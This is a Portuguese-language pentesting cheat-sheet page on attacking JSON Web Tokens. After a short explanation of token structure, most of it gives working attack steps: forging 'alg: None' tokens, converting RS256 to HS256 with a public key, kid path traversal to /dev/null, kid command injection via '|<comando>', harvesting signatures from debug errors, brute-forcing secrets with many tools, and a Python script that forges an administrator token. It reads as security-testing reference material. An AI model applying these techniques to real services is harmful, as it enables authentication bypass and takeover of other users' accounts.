> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/criptografia/jwt.md).

# JWT

### Estrutura

O JWT (JSON Web Token) é divido em 3 partes, separadas por um `.` (ponto). A primeira parte é o `Header` (configurações do JWT), a segunda parte é o `Payload` (infomações particulares do usuário) e o último é a `Assignature` (chave de acesso). Tanto o Header, quanto o Payload podem ser descriptografados e manipulados, pois estão em `base64`.

No Header, geralmente vamos temos ter uma configuração do tipo `{"alg":"HS256","typ":"JWT"}`, onde podemos selecionar o tipo de algorítmo, como `HS256` (chave secreta para assinar e verificar cada mensagem) ou `RS256` (usa a chave privada para assinar a mensagem e a chave pública para autenticação). Como a chave pública às vezes pode ser obtida pelo invasor, ele pode modificar o algorítmo no cabeçalho para HS256 e, em seguida, usar a chave pública RSA para assinar os dados. O código de back-end usa a chave pública RSA + algorítmo HS256 para verificação de assinatura.

Na segunda parte (payload) contém informações do user, como login, groups, etc. Também vemos alguns valores não obrigatórios, mostrados abaixo:

| **INDEX**          | **DESCRIÇÃO**                                                                   |
| ------------------ | ------------------------------------------------------------------------------- |
| `sub` (subject)    | Entidade à quem o token pertence, normalmente o ID do usuário                   |
| `iss` (issuer)     | Emissor do token                                                                |
| `exp` (expiration) | Timestamp de quando o token irá expirar                                         |
| `iat` (issued at)  | Timestamp de quando o token foi criado                                          |
| `nbf (Not Before)` | Identifica o tempo antes do qual o token não deve ser aceito para processamento |
| `aud` (audience)   | Destinatário do token, representa a aplicação que irá usá-lo                    |

A última parte (assignature) é feita com o seguinte padrão (exemplo feito em Python):

```python
key = 's3cr3tk3y'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
```

### Gerando Chave Privada e Pública

```bash
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
```

### Manipulando Token

Isso irá alterar os valores em tempo real.

```bash
python3 jwt_tool.py -T "<token>"
```

### JsonWebTokenError (Modo Debug Ativo)

Nada melhor do que procurar dados sensíveis em um dos princípios básicos da segurança: *Mensagens de erro ou debug!!*

No caso do JWT é até melhor do que isso, pois podemos ter na resposta do erro, a assinatura (última parte do token). E o melhor de tudo, para fazer isso basta enviar um token inválido. Mas não envie um `abcd` da vida no token, mas sim um token inválido que tenha pelo menos a estrutura de um token válido, por exemplo, podemos pegar um token válido e alterar o payload.

Provavelmente ao enviar o token manipulado, a aplicação irá nos retornar uma mensagem como no exemplo abaixo, então basta pegar o hash desse resultado (em negrito), colocar na última parte do token (assinatura) e enviar novamente ao endpoint.

`JsonWebTokenError: Invalid Signature. Expected`` `***`cASN_7WEv-nr_Z7XZFT0hVGOFPeeo7Qlvp7-QrZtdw4`***` ``got 7zobEz6bncpk7OjQpTfvh-a3ElW1HK3L4Wyypgxa_dw`

### None Algorithms

Pegue o token JWT, divida-o em 3 partes separadas por pontos (*`<header>.<payload>.<assignature>`*). Faça um base64 decode da primeira parte e altere o valor de `alg` para `None`. Agora na segunda parte, manipule algum valor do user, por exemplo, podemos mudar o tipo do user para um perfil de administrador ou até mesmo ter acesso ao usuário admin (alterando o username/login). A última parte é a assinatura, então não iremos mexer em nada.

{% hint style="success" %}
**DICA**: Já presenciei alguns valores diferente do **`alg`** dando certo de maneiras diferentes e em diferentes lugares, então tente algumas variantes, como **`None`**, **`none`**, **`"None"`** e **`"none"`**.
{% endhint %}

Feito isso, codifique essas duas partes em base64 e monte o token novamente, utilizando o `.` (ponto) para dividir as 3 partes. Como o `alg`  foi definido como `None`,  então não precisa colocar a última parte do token, ficando assim no seguinte padrão: *`<header>.<payload>.`* (Deixe o ponto no final). Agora coloque o token no header e veja se o resultado.

{% hint style="success" %}
**NOTA**: Ao fazer um base64 decode, pode ser que o json não fiquei no seu formato correto (geralmente faltando um **`}`** no final). Arrume isso colocando um sinal de **`=`** no final do encode original, mas não use-o no Request Header.
{% endhint %}

#### TokenBreaker

Tudo o que vimos como fazer um ataque *None Algorithms* de forma manual, vamos utilizar uma ferramenta para automatizar o processo.

```bash
python3 TheNone.py -t <token>
```

### Convertendo RSA para HMAC

Podemos modificar o header para ler um HMAC (HS256) ao invés de  RSA (RS256). Porém, para realizarmos essa operação, precisamos ter um `rsa public key` em mãos, ou caso contrário, não irá ter êxito. O `RsaToMac.py` faz parte do pacote `TokenBreaker`.

```bash
python3 RsaToHmac.py -t <token> -p <publickey.crt>
```

### KID (Key ID)

Em alguns casos (principalmente nas aplicações mais modernas do JWT), vemos o campo **`kid`** (Key ID) no header, seguido de um hash. O servidor usa isso para evitar que alguém possar alterar os valores do header. Mas como nada é perfeito, veremos que o `kid` também possui falhas.

Podemos utilizar um token de outro usuário, alterando o valor do `kid` para `../../../../../../../../../../dev/null`,  e utilizando a key (para gerar o token com valor vazio). Feito isso, basta alterar no payload as devidas informações para utilziar a conta de outro usuário.

Também podemos citar a **CVE-2017-17405** que surgiu a partir do `kid`,  onde podemos conseguir um RCE, aproveitando de uma falha escrita em Ruby. Para isso, precisamos apenas trocar o valor do `kid` para `|<comando>`.

#### jwt\_tool

```bash
python3 jwt_tool.py <token> -I -hc kid -hv "../../../../../../../dev/null" -S hs256 -p ""
```

### Brute Force

#### jwtcat

Utilizando incremental

```bash
python3 jwtcat.py brute-force --increment-min 6 --increment-max 6 "<token>"
```

Utilizando wordlist

```bash
python3 jwtcat.py wordlist -w <wordlist> <token>
```

#### jwt\_tool

Selecione a opção 7 depois de executar o comando abaixo:

```bash
python3 jwt_tool.py -d <wordlist.txt> <token>
```

#### c-jwt-cracker

Brute force em uma senha que possui somente 6 dígitos:

```bash
./jwtcrack <token> 1234567890 6
```

#### jwt-pwn

```bash
python jwt-cracker.py -w <wordlist.txt> -jwt <token>
```

#### jwtcrack

```bash
python3 crackjwt.py <token> <wordlist.txt>
```

#### Hashcat

```bash
hashcat <hash.txt> <wordlist.txt> -m 16500 -a 3 -w 3
```

#### John the Ripper

```bash
john <token.txt> --wordlist=<wordlist.txt> --format=HMAC-SHA256
```

### Forjando JWT com Certificado Digital

Primeiro vamos extrair o certificado (https), que pode ser pêgo através do navegador web, ou utilizando o comando abaixo e verificando sua saída.

```bash
openssl s_client -connect <site.com>:443
```

Agora devemos extrair a nossa chave pública a partir do certificado que acabamos de capturar.

```bash
openssl x509 -pubkey -noout -in <certificado.crt> > publickey.pem
```

Abaixo está um script desenvolvido em python para gerar um novo token JWT válido a partir da chave pública gerada. Não se esqueça de alterar o valor da variável `encoded_payload` no código abaixo.

```bash
import jwt

key = open("publickey.pem").read()
encoded_payload = jwt.encode(
{
  "id": 1,
  "iat": 1571250692,
  "exp": 1571237092,
  "username": "administator"
},
key,
algorithm='HS256'
)

print "Forged Token: %s" % (encoded_payload)
```

Por fim, execute o script para ter um JWT válido em mãos

```bash
python <xpl.py>
```

### Buscando por Diversas Vulnerabilidades

#### jwt tools

```bash
python3 jwt_tool.py -M at -t "https://site.com" -rh "Authorization: Bearer <token>"
```

#### jwtcat

```
python3 jwtcat.py vulnerable <token>
```

#### Sites

```bash
# Validação de tokens
https://jwt.io/

# Tools
https://github.com/Goron/TokenBreaker
https://github.com/AresS31/jwtcat
https://github.com/ticarpi/jwt_tool
https://github.com/Sjord/jwtcrack
https://github.com/brendan-rius/c-jwt-cracker
https://github.com/mazen160/jwt-pwn

# Explicação sobre como funciona o JWT
https://tools.ietf.org/html/rfc7515

# Tutoriais sobre ataques contra JWT
https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
https://medium.com/trainingcenter/jwt-usando-tokens-para-comunica%C3%A7%C3%A3o-eficiente-cf0551c0dd99
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
```
